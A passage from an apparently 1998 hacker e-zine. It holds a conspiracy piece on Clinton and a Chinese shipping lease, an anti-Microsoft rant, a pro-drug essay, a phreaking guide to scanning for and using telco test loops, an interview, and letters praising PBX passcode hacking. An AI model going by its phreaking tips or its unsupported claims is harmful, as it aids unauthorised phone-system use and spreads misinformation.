+goods that they wanted to import into the United States. Also, the United +States Coast Guard has placed COSCO on its list of "ships to monitor and search" +because of various infractions against many international safety regulations. + +It is revolting how Clinton has endangered the security of the United States of +America. Even though the NSC and CIA are untrustworthy, and are guilty of their +own conspiracies and coverups, the fact that Clinton avoided consulting them can +only mean that the communists have offered or given Clinton something that he +desperately wants. Clinton must have some kind of self-serving reason why he +would sell the United States, piece by piece, out to its enemies like Red China. +Another disturbing fact is that a simple mayor and his local civil employees +were allowed to negotiate this lease without any thought to the security of the +United States. Setting aside the corrupt business practices of the China Ocean +Shipping Company, the fact that they are operated by communists should have +immediately disqualified them from operating a cargo port in Long Beach. There +is no doubt in my mind that the Chinese will use the Long Beach Naval Station as +a central base for their own intelligence agents. + +That is the reason why two Republican congressmen actually attempted to stop the +Chinese from taking over the Long Beach Naval Station. The congressmen were +concerned that COSCO would be able to smuggle goods into the United States much +easier, as well as a base for Chinese intelligence. However, after a long +battle, it was determined that the lease would be killed if Clinton did not use +his "waiver authority" to save it. Hmmm... in the end the communist-supporting +president, who tried to coverup the fact that he pushed for the lease of Long +Beach Naval Station to the Communist China shipper had the final decision on the +matter. + +Unfortunately, I believe that the Red Long Beach conspiracy is only a small one +within a much larger conspiracy. Bill Clinton's actions show him to be a +tremendous backer of Communist China, even at the expense of the security and +economy of the United States. Why would Clinton push the loss of hundreds of +millions of dollars so it is easier for the Chinese to spy upon the U.S., +as well as smuggling illegal goods, or even weapons of mass destruction? That +is a question that all Americans should be asking of their president and his +administration. Unfortunately, in order for the truth to be revealed, Americans +will have to stop being sidetracked by trivial "issues." + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Billy Gates and his Overwhelming Need for Greed. + +Micro$oft is a huge, corrupt, greedy corporation. They've demonstrated +repeatedly that they have no regard for other software companies and their +goal is to buy out the competition. Obviously, they aren't satisfied with +their current stranglehold on the industry. They want nothing less than a +total monopoly. + +This article isn't about statistics. I'm not going to quote figures of their +quarterly or yearly profits, sales etc. If you want to know that information, +then I'm sure you can find it by checking out a few web sites on your own. +Basically, I want to expose Gates and his company Micro$oft, to show just how +greedy and corrupt they really are. + +Gates' estimated net worth is over $40 Billion U.S. dollars, and Micro$oft is +estimated to be worth $400+ billion dollars. Both amounts are increasing so +rapidly that it's not possible to include statistics that are more accurate +than that. In fact, it's been reported that Billy Gates has made over $100 +million dollars in a single day on occasion. I wonder if he considers that +to be a good day, or a bad day? At any rate, that should be an indication of +his wealth. To put it bluntly, he's stinking fucking rich. He's not just your +average, run of the mill, fat cat. Gates is literally the fattest cat of them +all... and he's only getting fatter as each day passes. + +How much money is enough for one man? How much power and control over an +entire industry is enough? Why do people support, defend and have sympathy +for Mr. Billy Gates? To be honest, I'm not sure why anyone would defend +Micro$oft and Gates. I also don't know why people are so sympathetic towards +a wealthy geek that fears close contact with the public. I simply don't +understand their reasons or "logic" for doing so. In order to put things into +perspective, I'll give you a comparison to ponder. Billy Gates has more +personal wealth than the 50 richest Canadians combined. He has more money +than the countless thousands of citizens in Canada that are living at or below +the poverty line combined. If he were hypothetically inclined to help them, +he could virtually eliminate poverty within this entire country (with a current +population of over 25 million people). Indeed, tiny million dollar donations to +"charity" on his part are a mere token... a pittance... in comparison to the +vast amount that he's accumulated. Those that defend Gates and Micro$oft remind +me of the 17th century English paupers that had nothing and yet they continued +to support their king. Micro$oft supporters and defenders are like zombies. +They've been so utterly brainwashed that they know not what they do. In +essence, they are not responsible for their words or actions. They're so +ignorant and naive that they actually believe Gates deserves all that he has, +and more. Again, how much money is enough? Would $100 billion be enough? +$200 billion? Perhaps $500 billion is just scratching the surface of what is +considered to be enough. To some people, no sum of money is enough to satisfy +them and their need for greed. + +Billy Gates donated some money to Harvard (which is obviously a huge tax +writeoff), but is that really a legitimate charitable donation? Not in my eyes +it isn't. Harvard is an ivy league school for rich kids in my opinion. Also, +Gates has been quoted as saying that he plans to donate more money to charity +once he "retires" from the business world. That's a pleasant and comforting +thought. ;) When does Billy plan to resign as the CEO of Micro$oft? At what +point will he have amassed enough cash for his retirement? What will his +retirement home look like? Which tropical islands will he purchase for summer +homes? Just try to imagine it. It's definitely a sickening thought. + +As for Micro$oft, I'll leave their corrupt practices for another article. I'd +just like to comment on the greed of that company (some people almost see it +as an entity). Why is Micro$oft so respected? Why do they generate so much +support? Why are they defended by Win95 d00ds? Why does the media give them +any positive press? I feel that Micro$oft is respected and supported by the +zombies that cannot use software that doesn't have point and click mouse +support. Basically, they need icons, pulldown menus, drag and drop etc. which +is exactly what Windoze gives them. They can't use a commandline and need to +use a GUI driven "operating system" that has the options right on their screen. +They also rely on Windoze to control their system. Otherwise, they wouldn't +be able to use a computer at all. Their keyboards just sit there and collect +dust. The Windoze zombies respect Micro$oft for making their systems so zombie +friendly...err user friendly. They absolutely love hardware such as Winmodems +that's made just for Windoze... It's hardware that's been made exclusively for +them...Windoze d00ds. The zombies also support Micro$oft because they say that +it's "popular" and "Windoze is the industry standard" and "the quantity of +software that's available for Win95" etc. Many of them also program in Visual +Basic since it's by Micro$oft and extremely easy to learn. As for the mass +media, they've always supported big business. The bigger a company is, the +better. The larger they are, the more coverage they get. It's just free +advertising for Micro$oft since their loyal zombie followers won't abandon them +no matter what. Under no circumstances will the Windoze zombies even try out +software by another company. It's a sacred rule of the zombie clan. They're +strictly forbidden within their ranks from switching software. I can still +vividly remember the masses of zombies rushing into stores to buy Win95 (as many +copies as they could physically carry) as soon as it was released. That image +is burned into my mind and will never be forgotten. They literally fought each +other and greedily grabbed as many shrink wrapped Windoze 95 boxes as they +possibly could. I'm sure there will be another 'battle of the Windoze zombies' +once Windoze 98 is finally released. On a side note, it was hilarious to see +Win98 crash and burn at the Chicago computer convention as Gates and countless +others watched. That moment was one of the greatest in the history of +television in my opinion. Billy Gates didn't look surprised in the least, but +merely embarrassed and perhaps slightly humbled by the experience. However, his +massive ego is no doubt still intact. He should be ashamed of his inferior +product and his business corrupt business practices. + +In conclusion, I'm sure there will be other articles written on Micro$oft in +future issues of the Damage, INC. Newsletter. My only intention for this +article was to make people think seriously about greed. Therefore, I chose +the best and most appropriate example of greed that exists today. Hopefully +it has informed and enlightened you somewhat. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +DRUGS DISCUSSION - {DRUGS} +The Existence of Drugs in Our Culture. + + Being brought up in today's society, you could easily come to the +conclusion that there is an illegal drug problem within our nation. Lower +class people who use drugs and alcohol to escape their pains; kids who do +anything to get high... Unfortunately what you don't find out about is the +number of people addicted to prescription drugs. Or the number of times an +alcoholic father beats his kids. Or perhaps the stock broker who drinks 12 +cups of coffee a day just to get by. Yes.. I would have to say there is a +problem in our society. But it's not an illegal drug problem. I don't know +any crack addicts, nor do I know any heroin junkies. But the number of +alcoholics I know is staggering; as is the number of addicted cigarette +smokers. Yes, there definitely is a problem. + The problem occurs because we try to hide from natural processes. We +try to control our desires. We are made to feel guilty for wanting to get +high, or drunk. Yet these are animal traits. There are certain flocks +of birds that know eating fermented berries will cause pleasure, and a +drunkenness. Every year they will return to the same tree, because inside +they know that getting inebriated relieves stress. It relaxes the body and +mind. It is beneficial to them, so that is why they do it. Interestingly, +some birds don't know when to stop... and will keep eating these alcoholic +berries until they die from poisoning. There are many other species who also +seek out ways to get drunk. Man cannot run away from his inner desires. He +cannot suppress the drive; nor can he label certain items as "narcotics" and +do everything in his power to obliterate them. Only when we realize *why* we +do drugs, will we be on our way to understanding their existence in our world. + Why do we do drugs? That is a very valid question. Essentially, it is +the desire to alter one's state-of-consciousness. Drugs induce these states +of consciousness by manipulating, or mimicking neurotransmitter chemicals in +your brain. The chemicals in your brain determine your state of consciousness. +This is a very important statement, and I want you to re-read it. Basically, +whenever you put something in your body, you alter your state of consciousness. +So altering your state of consciousness is not a new concept to your personality +at all - eating sugar affects your state of mind. What differs between states +is the distance you shift from your original state of consciousness to the new +one. Drugs accelerate your mind to a higher plane. Rather quickly too, that +is why some people don't enjoy it. Taking drugs is just a means to manipulating +and directing the focus of your attention. People do drugs for the same reason +anybody does anything else - because they find it interesting. + Upon reading this paragraph, I realize I am guilty of something. I have +been using the word "drugs" too vaguely to convey my thoughts. I am generally +talking about the benign drugs such as alcohol, marijuana, opium, and tobacco. +Psychedelic/hallucinogenic drugs are a much more complicated subject. And +uppers such as cocaine and speed are based more on the nature of addiction. +To get the most out of this article, re-read the last paragraph now knowing +specifically which drugs I am talking about. + Now we have established that people get high because they find it +interesting. Well, I hate to sound like a 3 year old, but shouldn't we be +asking "why is it interesting?" Or more specifically, what is interesting +about altering one's state of consciousness? Well, recall the March 1998 +issue of the Damage, INC. Newsletter. Myself, and group members talked about +some very interesting aspects of consciousness, such as astral projection, and +the power of your mind. If you're not familiar with those subjects, perhaps +you should read, or re-read last month's Newsletter. To continue, drugs are a +physically oriented method of going into trance. People who abuse drugs such +as marijuana, alcohol, LSD, psilocybin (magic mushrooms) are a lot of the time +people who are aware of themselves, and the divine potential within them; but +unfortunately their inner battle is with laziness. So instead of diligently +meditating for six months, they take a hit of acid, or smoke a fat joint, +experiencing a distorted, yet pleasurable version of the same thing. + This explains why drugs have, and always will exist in our culture. Their +use, and even abuse always promotes growth and learning within an individual. +Drugs expand awareness. Drugs help solve problems. Drugs can also help cause +problems if one is not careful ;). Drugs soothe pain (emotional and physical). +Drugs can be spiritual. Drugs are also symbol. They are a symbol of man's +struggle with self-awareness, and thirst for understanding. Some cultures, +such as the Mayans, believed that the Magic Mushroom was a gift from the gods. +A gift of awareness to bring peace and enlightenment. + The story is a lot different today unfortunately. These once sacred +mushrooms are now considered harmful. By suppressing drugs, we are +suppressing the utter delight of looking at ourselves in the mirror of +awareness. The effects have been detrimental; perhaps even devastating. The +war on drugs is hurting our society every minute it is being enforced; drugs +are entwined in our lives, whether you are aware of it or not. These drugs +that have been categorized as "controlled substances" cannot be eradicated, +nor banned from use. How ironic it is, to note that the drugs are not really +being controlled at all. In fact, the opposite is occurring. In the drug +war, it is not the law enforcement who are winning. The only thing they are +doing is ruining our nation. They kill lots of people in the process of +controlling drugs. They also waste a lot of well needed tax dollars. Groups +who inform their audience using propaganda and lies should *not* be groups +worthy of your trust. + Another sad fact, is that the drug war is a result of ignorance, and +corruption. Cannabis was originally made illegal because its potential as +a fabric was hurting the cotton and timber industries. The big-wigs who +owned these operations coerced the government into criminalizing marijuana +because it was a form of hemp. Hemp that can be used to make clothes, paper, +and to basically replace the disgusting logging companies. Greed reared its +ugly head, and attempted to wipe out this profit killing plant. They succeeded +for many decades, but finally Ontario has decided to stop the destruction of +our planet, and allow industrial hemp to be grown by farmers. This is a step +in the right direction, but marijuana still remains a controlled substance. +And while the ignorant enforcement of these archaic laws remains in our society, +people will travel further and further away from themselves, and what they know +to be true. + I genuinely hope people realize this soon. Drugs are an inherent part of +our nature. They exist as tools to help us understand ourselves and the +universe. + +Next month: Blackened discusses decriminalization. + +Written by The Journalist ù (C)opyright 1998 Damage, INC. + + +H/P INFORMATION AND NEWS - {H/P} +Looping the Loop in your area code. + +This short article on loops is the first that I've submitted to the Damage, INC. +Newsletter. I hope that you enjoy reading it and find it informative. Since +loops can be different in each area code, I'm only going to include general +information. That way it'll apply to the area code that you're in. Basically, +I'm going to explain the following: + +[1] What a loop is. +[2] Why loops are setup by the telco. +[3] How to detect a loop. +[4] How to scan and find loops. +[5] How to use loops. + +As you can see, only the basics of loops will be covered in this article. If +you want to examine lists of loops (for any area code) and look for patterns, +then that might also benefit you. Let's begin the quest for knowledge about +loops, one of the most interesting tones. Get ready to start looping the loop. + +Loops are interesting tones that have two ends. One end of a loop is called +the high end and the other is the low end. (Did you think I was talking about +Fruit Loops?) :) Loops exist in all area codes. Usually there are many loops +in each area code. Sometimes there are multiple loops for every exchange. +Basically, loops are two lines that are connected. Or, if it's easier for you +to understand, two different phone numbers that have a relationship. Both +numbers will be in the same local exchange. An example would be 514-555-9996 +and 514-555-9997. If you've ever seen a list of loops, then you already know +what typical pairs of loops look like. Or, maybe you've read about what a +cheese box is. If not, read a text file on them and build one. The basic +example that I gave isn't always how loops are setup though. There isn't always +just 1 digit separating the high end from the low end. They can be setup in +literally any configuration. There could be 2, 3, 4, 5, 10 digits between the +two numbers. Sometimes the span is greater than that to discourage people from +finding and using the loop. The point is that not all loops are setup the same +way. The telco owns them and doesn't like it when other people use them. They +are fairly safe to use though and the telco never really bothers to try to stop +anyone from using them. :) However, be aware of the fact that Bell can monitor +their loops and listen in on conversations at any time. So, be careful about +the types of things you discuss. + +Loops are setup by the local telco for several reasons. They're used by telco +workers for testing many different things. One of the main purposes they use +loops is for testing long distance trunks. By utilizing loops, the telco can +save time and manpower. They require less lines, less telco workers and the +loops are always there ready to use for testing. I won't get too technical +with jargon, but it is important that you know the basics of how loops are used +by the telco and why they are setup. A Telco linesmen/technician can dial the +lower number of a loop and a 1000 HZ tone will be emitted at a zero db level. +He can use a meter to gauge whether or not there are any problems on the line. +If he needs to do complete testing at several frequencies then he can turn on +the filter bypass switch. Before there were any loops, trunks had to be tested +by two techs with one at each end. One tech would send a 1000 HZ test tone +through and the other would read the volume using a meter. Then he'd send a +signal back to the first tech to test it. That required too much planning and +two telco workers were required for testing. Thus, loops were created by +connecting two lines together as a simple solution for testing and adjusting +trunks. Due to loops, the trunks can be tested and adjusted by a single tech. + +I'm not going to explain everything about trunks and repeaters since you can +read information on them elsewhere and learn. The only other thing that you +need to know about trunks at this point is that they are tied together by a +zero loss terminator which connects lines together so that there's no change +in volume. That's why it's called "zero loss". :) To test a suspect trunk the +tech dials the loop with his meter connected. Then he dials the other half of +the loop using a trunk that he knows is good (one that isn't faulty or noisy). +After that's been completed, he reverses the signal path as described above to +finish the test. If you wish to learn more about signals, frequencies, carrier +trunks, transmitters, terminators, filters, switches etc. then I recommend +obtaining a Bell manual and looking for the technical information that you need. + +Most loops don't ring when you dial them, which makes the task of detecting them +fairly easy. You can also detect loops by what you hear after dialing the +number. It depends on which number you dial. If you're scanning and happen to +dial the low end, then you'll hear a 1000 HZ tone. If you dial the high end, +then you will hear nothing. It's silent unless someone else is on the other +end. So, if someone is using the loop already, then you'll be connected and +hear them talking. Sometimes you'll hear a large group of people talking to +each other as loops are often used as an informal 'meeting place'. Don't be +too surprised if you encounter a private loop party and you're not invited. If +you're not wanted, then hang up and don't bother them. You can always use the +loop some other time. You don't want to anger any local phreaks that might be +using the loop for something important. That should be enough information on +detecting loops while scanning. + +You might be wondering just where to begin scanning for these amazing loops. +In order to make your task of scanning and finding some loops easier, I'm going +to give you a few tips. Using THC-Scan (no affiliation with my alias) or +ToneLoc, try entering 555-00XX, 555-11XX, or 555-99XX as a dialing mask. The +555 represents the exchange of your choice to scan. Usually, loops are found +in one of those three suffixes. Sometimes, they're the same for each local +exchange. So, if you find loops in one exchange in say NPA+XXX-99XX then try +scanning that same range in another exchange. NPA is Numbering Plan Area. It +is just the area code. The NPA of (514) 123-4567 would be 514. Some people +use ACN (Area Code Number), but NPA is the proper, accepted term. The exchange +(or NXX) for that number would be 123. So, now if you see a number such as +NPA+NXX-XXXX you'll recognize it and understand what it means. :) You may find +as many as 20+ loops in a single exchange. In a large area code you might find +50-75 loops. In smaller area codes (with less exchanges in use), there should +still be about 5-10 loops. If you scan using these methods and can't find any +loops, try asking a local phreak in your area code for some scanning advice. :) + +Loops can be quite useful. Just because they're owned by the telco doesn't mean +that we can't use them. Afterall, they're already there and unused most of the +time. So, if something isn't being used for anything, then we might as well put +it to good use for our own purposes. :) There's absolutely no harm in doing +that. If however the loop is being used for testing though, avoid trying to use +it. They're usually being used by the telco for testing during the day, so you +shouldn't attempt to use them during the day (business/working hours). You may +be wondering how loops are beneficial to you and what to use them for. Well, +if nothing else it's always good to experiment and learn about the phone system. +Using loops is a harmless way of doing that. You can also use loops so that you +remain anonymous by giving someone the number of a loop to call instead of your +home phone number. Tell them what time to call you, and be waiting for them on +the loop. Just don't forget that Bell might be listening in. So, they don't +exactly offer complete anonymity. A good use for loops is for conferences. +They're almost like big party lines. You can dial and meet new people, or +arrange meetings with phreaks that you already know. It's a good way to get a +large group of people together for a conference since people can join it at any +time. They're a blast and the best 'feature' is that they're totally free. :) +Loops are toll-free, no charge. Once you become more experienced, you can do +'advanced tricks' like looping around the world. Or you can hang out, talk with +cool people (phreaks like me) for hours and it won't cost you a cent. Another +benefit is that you can meet some very intelligent, knowledgeable people that +you otherwise wouldn't have. At least, that's been my personal experience. +Scanning and using loops may be 'illegal' in your area. So, I'm not responsible +if you're traced and get busted. :) Regardless of that, have some phun and +happy THC phreaking. + +I plan to write more articles for the Damage, INC. Newsletter in the future. +I'm proud of this one and thankful that it was good enough to be published. If +you have any questions or comments about it, post a message to me on AJFA and +I'll try to reply as soon as possible. + +--- Written by THC Phreak. --- + + +ú - NEWS - ú + +There's not much news to report this month. However, there is a rather +important matter concerning the Damage, INC. Newsletter that needs to be +mentioned. We're overloaded with work, and lacking in time. Therefore, in +order to complete certain unfinished projects (such as the Damage, INC. FAQ) +and maintain the quality of our releases, there may not be a May issue of the +Damage, INC. Newsletter. If the end of May arrives and there isn't an issue +released, then we'll keep you informed. Even under these circumstances, we +will still try to release a new issue by the middle of June. As we include +more information in each issue, do more indepth research, increase the size of +each issue, etc. it may become impossible to stay "a monthly newsletter". If +that does happen, you can be assured that we won't just quit and die... So, +don't start rumours or make any false assumptions about Damage, INC. based +upon the time span between issues. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An Interview of THC Phreak: + +This is a recent interview that I conducted with THC Phreak. Since he's a +Damage, INC. Writer now, I felt that it would be a good idea to interview him +so that readers would be able to learn a little about him. + + = BLACKENED + = THC Phreak + + - Introduce yourself to the readers of the Damage, INC. Newsletter. + + - My alias is THC Phreak and I'm from the 514 area code... I've been +into h/p for a number of years... mainly phreaking... and have just started +to become more actively involved in the scene recently. + + - What meaning does your alias carry? (Obviously, I already know the +answer but the majority of these questions are asked for the benefit of the +readers). + + - Okay... THC stands for Trans-tetraHydroCannabinol. It's the chemical +in marijuana that is responsible for getting you high. :) That's just part +of it. I chose this alias a long time ago (2-3 years)... because I was toking +a lot back then and was really interested in phreaking. So, I thought it was a +perfect match. I started to phreak and was a THC freak. That's the main reason +why I thought of it, and that's the meaning behind it. + + - Alright, that's understandable. How did you become interested in +phreaking? + + - Well, that's a really good question... As I said before, I became +interested in phreaking about 2-3 years ago. I'm trying to remember how that +happened. The reason why is that I like learning about things and I am +naturally curious about things that most people ignore. The only answer as +to how I became interested in it is that I saw some issues of Phrack magazine, +a few text files on different boxes etc. on some local boards, downloaded and +read them. After that, I wanted to learn as much about phreaking as I could. +It took me a little while to get past the 'beige boxing' phase. Once I lost +interest in the boxing shit, I wanted to start learning about the actual +telephone system... and how to use it. + + - Yeah, that's cool man. ;) What magazines other than Phrack do you +read? Are you interested/involved in hacking? + + - I'm more interested in phreaking... and have very little hacking +experience. Hmmm, I read quite a few magazines... CUD, cDc, THC etc. and +of course the Damage, INC. Newsletter. :) + + - Do you think that magazines that have articles submitted by readers +(such as Phrack for example) are more informative than ones that are written +almost entirely by the staff/group? + + - Overall, yes, I think that they are. Phrack is established, well +known, very informative and highly regarded... It's thought of as being the +best h/p magazine around. I'd have to agree and say that it is. I've read +a few articles in Phrack (and other magazines) that were sent in and published +that weren't very good though. It's a compromise. Sometimes the ones that +have a mixture between articles written by the group and readers are just as +good. :) + + - That's true. I have respect for Phrack and the various Phrack editors +that have put it together over the years. While we're on the topic of readers +contributing articles, how do you think being a Damage, INC. Writer will benefit +you/readers/the h/p scene? + + - I think that the articles I submit to Damage, INC. will help readers +of the Damage, INC. Newsletter. I feel that by sharing knowledge and +experiences, that I'll benefit as well... by learning how to write quality +articles and share what I know. It's been a learning experience in itself. + + - Personally, I think that by associating with others that are at the +"same level" of knowledge or greater, one can learn a tremendous amount. Do +you agree/disagree with that statement? + + - I agree with that. When I was a newbie, I learned a lot from some +of the local phreaks in my area code. I'm still learning though, and try to +converse with as many phreaks as I can... That is the best way to learn. :) +People know about different things, so exchanging knowledge and ideas just +makes sense. + + - Yeah, that's basically what I've been trying to convey to the readers +of the Damage, INC. Newsletter. Perhaps I haven't expressed myself clearly +enough to them yet. Hopefully this interview will get that point across. +What about the ethics of phreaking? What are your opinions on that? + + - I don't think there's anything wrong with exploring. That's what +phreaking means to me... learning about the telephone system and all that +it encompasses. There's absolutely nothing wrong, as long as no damage is +caused by the phreak. What's the harm in wanting to know how things work? + + - Do you ever explore any systems? Are you interested in learning how +to hack anything? + + - Yes, I have explored systems before... and enjoy experimenting with +them. I've basically hacked small networks and passcodes for things so far. +But I am interested in learning more about the art of hacking. Right now +though, my hacking skills aren't that impressive. :) + + - Now that you've been in the h/p scene for a few years, what advice would +you give to newbies? + + - I'm not an expert or anything, and don't pretend to be. However, I +think that newbies should read about things first, and then once they know +something about it they can experiment using that newly acquired knowledge. +Newbies should also the difference between good information and bad information. +What I mean by that is this, some information is real... and the rest is fake. +I've read some text files that gave wrong information before. They looked as +if they'd been written by a newbie or a wannabe of some sort. I don't think +that's very good for the scene. + + - I agree. It's harmful to the scene, since many people that read it +will believe the misinformation simply because it's written in a text file. +There are a few wannabe groups in 519. There always has been. Thankfully, most +of them didn't last too long. A few died after releasing a few shitty text +files. ;) One last question, what do you think of h/p groups? + + - In my opinion, the active ones are a benefit to the scene. The groups +that release quality information deserve respect. I now know that it takes +time to write a good article, and applaud everyone else that writes them on +a regular basis. :) + + - Thanks for agreeing to do this interview man. I hope that it has +enlightened the readers of the Damage, INC. Newsletter and given them some +things to think about. I'm sure that they've learned a little about you as +well. ;) + + - You're welcome. I was glad to participate and I'll contribute whenever +I can. It was an enjoyable experience. :) + + - This concludes another Damage, INC. interview. We plan to interview more +people in the h/p scene in future issues, so look for them. + + +LETTERS TO THE EDITOR - {LETTERS} +More feedback about the Damage, INC. Newsletter: + + +Date: 6:38 pm Wed Apr 22, 1998 Number : 106 of 111 +From: Dizzy Base : [Damage, INC. Discussion] +To : Fatal Vision Refer #: 94 +Subj: Re: Damage, INC. Feedback Replies: 1 +Stat: Normal Origin : Local + +FV> In a earlier message Blackened stated that there is not enough feedback.. + +Here's some feedback: + +In your interviews with Bill Gates, its not very funny anymore as him being a +spineless snivelling snothead. Give him some good attributes (wether it be he +can pick his ass with his pinky, or masturbate in under 10 seconds, I don't +care. Just something good... :) + +And in #7 - For some reason, I could only read to the EOF in the first or +second line of coding in the Trojan. I downloaded the newsletter twice, and +both times I got no errors in unzipping. Help? +------------------------------------------------------------------------------- + +Editor - Dizzy, the interrogations of Billy Gates are meant to be sarcastic, + humourous, and at the same time an accurate portrayal of Billy's + character. That's how we view his personality, and many of the + traits and expressions used are realistic. He is arrogant, greedy, + wimpy, stubborn, defiant, egotistical, paranoid etc. Also, many + readers have commented on those interrogations and said they found + them to be hilarious. Thus, the saga will continue. As I'm sure + you've noticed, they aren't included in each issue... nor will they + ever be in every issue. I have yet to play the role of Billy Gates. + Thus far, other Damage, INC. Members have done that job. We've + tried not to make them overly "immature", and always make sure we + mention certain things that are happening at the time with Micro$oft + and the industry in general. We're going to put more recent incidents + and events into future interrogations of Gates. Damage, INC. also has + plans to do mock interrogations of other fat cats and public figures + in future issue. So, you can look forward to reading those. However, + if you don't enjoy reading them, then you can skip that section. It's + your choice, as you are the reader. ;) + + As for the trojan, the source code includes an EOF character in it. + Therefore, you must read it using a text editor/viewer. Downloading + new copies won't solve the "problem" that you're experiencing. It + has nothing to do with the Pkzip file being corrupt or anything either. + The  character is there to prevent someone from using the DOS TYPE + command to view the .com file. Of course, now you might not be able + to read the rest of these comments beyond the EOF marker... again. + It's unfortunate that you were prevented from reading the rest of the + Damage, INC. Newsletter Issue #7 due to the use of that single + character. If you don't figure it out after reading my response to + your letter, I'll leave you Email. + + +----- aenima's letter to the editor ----- + +my alias is aenima and i promised to blackened that i would send him feedback +to the Damage, INC. newsletter. i wanted to post this on foi or call ajfa +but i have been busy this month and haven't had a chance and foi offline mail +doesn't work. it will not let me download a copy. so i thought i would make +a text file instead of posting a message. hope that's ok. :) + +now for my letter to the editor i would like to start off by saying that +in my personal opinion i feel it is a great magazine. once distributed +to more area codes and perhaps setting up a ftp/www site would be benificial +and create awareness. i am curious as to what area codes it is already +released to and will do my best to distribute it. my local scene seems to +enjoy reading it and their is now a constant flow of messages about Damage, INC. +however, i myself know a little about the group since i have read some bases +on Freedom Of Information, read the Damage, INC. newsletter, tested some +Damage, INC. utilities. so i have been trying my hardest to keep users in my +area code informed about Damage, INC. and they are waiting for this issue. + +The new section that was added to the Damage, INC. newsletter called +Drugs Discussion is looking quite promising to me. i am a freqent toker +and look forward to reading things in that section. maybe even contribute +a few articles. + +i have a major suggestion for the source and scripts section. i think its +great that there are commented source code made by Damage, INC. in the +newsletter however have you ever thought about going into a little bit of a +tutorial??? +i know that many people would like to learn how to program in asm to create +viruses, trojans, and some utilities but are not aware how to start etc. i +know you suggested that people download HELPPC.ZIP TASM31.ZIP and SR504.ZIP +but i am not sure exactly how to use that to my advantange. i know some people +in my area that are pretty much amazed at some of your utilities. and as i +have said before one of my buddies had a BUST.BAT file and had to use it in +a tight situation. it did work. and he was very happy with Damage INC. and +the util that he decided to use. (NUKE v1.00) and i know that NUKEKB.ZIP has +been very useful to me. :) as i can think of many useful utilities that i +could program. so it would be nice in an issue to assume that some people +don't know to much about ASM and PROGRAMMING. + +i really like the introduction and conclusion that has been done in each +issue :) some are hilarious as well as the actual newsletter names. +and statement "for people to identify a theme in every issue" has been +properly implaced and i can always tell what it is. + +i enjoyed reading The Journalist's article about "PSYCHIC WARRIORS" i though it +was really enjoyable, and do believe that could happen. the whole out of body +placement. Blackie Lawless' articles are very good and informative. +people in my area code have learned quite a bit from that article. the PBX +one taught quite a few people in my area code a bit more about pbxs and they +were able to scan/hack passcodes. and now have working pbx codes. i was quite +impressed to see this. because there is a real lack of extenders in our area +code so we have to rely on things like pbxs, and operators etc. :) also i +enjoy reading Blackened and Shatazar's articles as well. they are really +informative and make everyone reading them wonder "how much research goes into +them????" like how much time do you spend reading about the topic. how do +you decide what topics you are going to do and who does what??? how much +time in total do you think you guys spend doing the Damage, INC. newsletter? + +anyways. this concludes my thoughts about the Damage, INC. newsletter if +you wish to use this then be my guest. that's what it was intended for. +i wish the best for the group and hope it expands and gets many readers. + +-- aenima +------------------------------------------------------------------------------- + +Editor - Thanks for the feedback man. I always enjoy hearing from our loyal + readers. ;) Anyways, we're working on improving the distribution + aspect. Any help that you can provide by distributing the + Damage, INC. newsletter in your area code is appreciated by us. + Also, your comment saying that you feel it's a great magazine is + well taken. Thanks again for the compliment. ;) + + As for the new Drugs Discussion section, we also feel that it's + promising and holds potential. We won't to raise awareness in our + readers in relation to drugs etc. If you want to contribute by + writing an article on drug experiences or whatever, then that would + be great. We definitely want to publish more articles that are + written by our readers... and add a "personal touch". We also want + to write articles covering drug issues to dispel common myths and + destroy the misinformation that exists about drugs. + + Your suggestion for the Source and Scripts section (writing a tutorial) + is something that we've thought about and discussed within the group. + I realize that many people don't program in any language, or know much + about assembly. I've tried to heavily comment the source code, but + I can understand how it might seem difficult to read/learn. I'll + definitely think about creating a tutorial for beginning assembly + programmers. As I've said many times, any and all suggestions will + be considered. The only restriction at this point is time, in that + we have many unfinished projects (The Damage, INC. FAQ is one of them) + that need to be completed first. However, I won't forget about your + request for a tutorial on asm... In fact, it is something that I've + wanted to work on for a long time. Many people in this area code + know very little about assembly, so it's needed. + + As for the BUST.BAT, I'm glad it was useful in your friend's situation. + I hope that everyone also finds my tips on how to avoid being busted + (in this issue) to be just as reliable. ;) As for NUKE, NUKEKB and + the other Damage, INC. Utilities, I'm glad they're being put to good + use by people in area codes other than 519. They were written with + the intention that they'd be used... so it feels good knowing that + people are using them to their own advantage and benefit. + + I've written every Introduction and Closing Comments thus far, + excluding this issue in which Shatazar wrote them. The quotes for + each issue (except for this one) were also chosen by me. So, I'm + glad you enjoyed them man. That's where most of my creativity is + expended. ;) As for the themes, yeah, that's exactly what we've + been attempting to do with each new issue. Some of the introductions + that I've written are what I'm most proud of. I was pleased with a + few Closing Comments as well. + + The Journalist's PSYCHIC WARRIOR article was very well written and + one that I greatly enjoyed reading also. A few people have made + comments about that particular article. ;) + + That's excellent that people have learned from Blackie Lawless' + h/p related articles. A couple of readers have said that he should + become an instructor/teacher because of the way that he is able to + express himself. I agree with those sentiments. ;) Hopefully he'll + be able to contribute articles again in the near future. As for the + people that are now able to use PBXs, that's the type of feedback that + we really enjoy hearing. + + As for the research, quite a bit goes into those articles. Whenever + possible, we use several sources of information to ensure that the + information we provide is accurate and reliable. We don't want to + misinform readers (like the mass media frequently does). Therefore, + avoiding that is a big priority and taken seriously by Damage, INC. + Personally, I read newspapers, numerous magazines, watch several + news stations, read text files and information from internet sites, + and sometimes speak with sources (people involved) before writing an + article on a topic. I try to research and get as much insight as + possible before actually writing about something. To be honest, I'm + not sure how much time goes into research. It varies from topic to + topic. With certain topics, I know them fairly well before I even + begin to research it since it interests me. Some things affect me + directly, thus some research has already been done. I do a fair + amount of reading about various things (Conspiracies, Big Brother, + current events etc.) though. As for how we decide what topics are + written about and who writes the articles, sometimes it can be a + complex process. Hehe. The topics are usually discussed privately + beforehand... and if someone has an idea for an article on a certain + topic, they tell me about it. Then I notify everyone once they've + selected a section for the upcoming issue. So, then I put their alias + in the Contents beside that section and everyone else knows that it's + been taken once they download a new, updated, pre-release copy. Other + than that, I don't delegate which Damage, INC. Members write for each + section. Nothing is "assigned" to anyone in that respect. That's + the first time anyone has asked about that. ;) As for an estimation + on the amount of time I think we spend writing the Damage, INC. + Newsletter, that's a difficult question to answer man. The best answer + that I can give is to say that countless hours go into 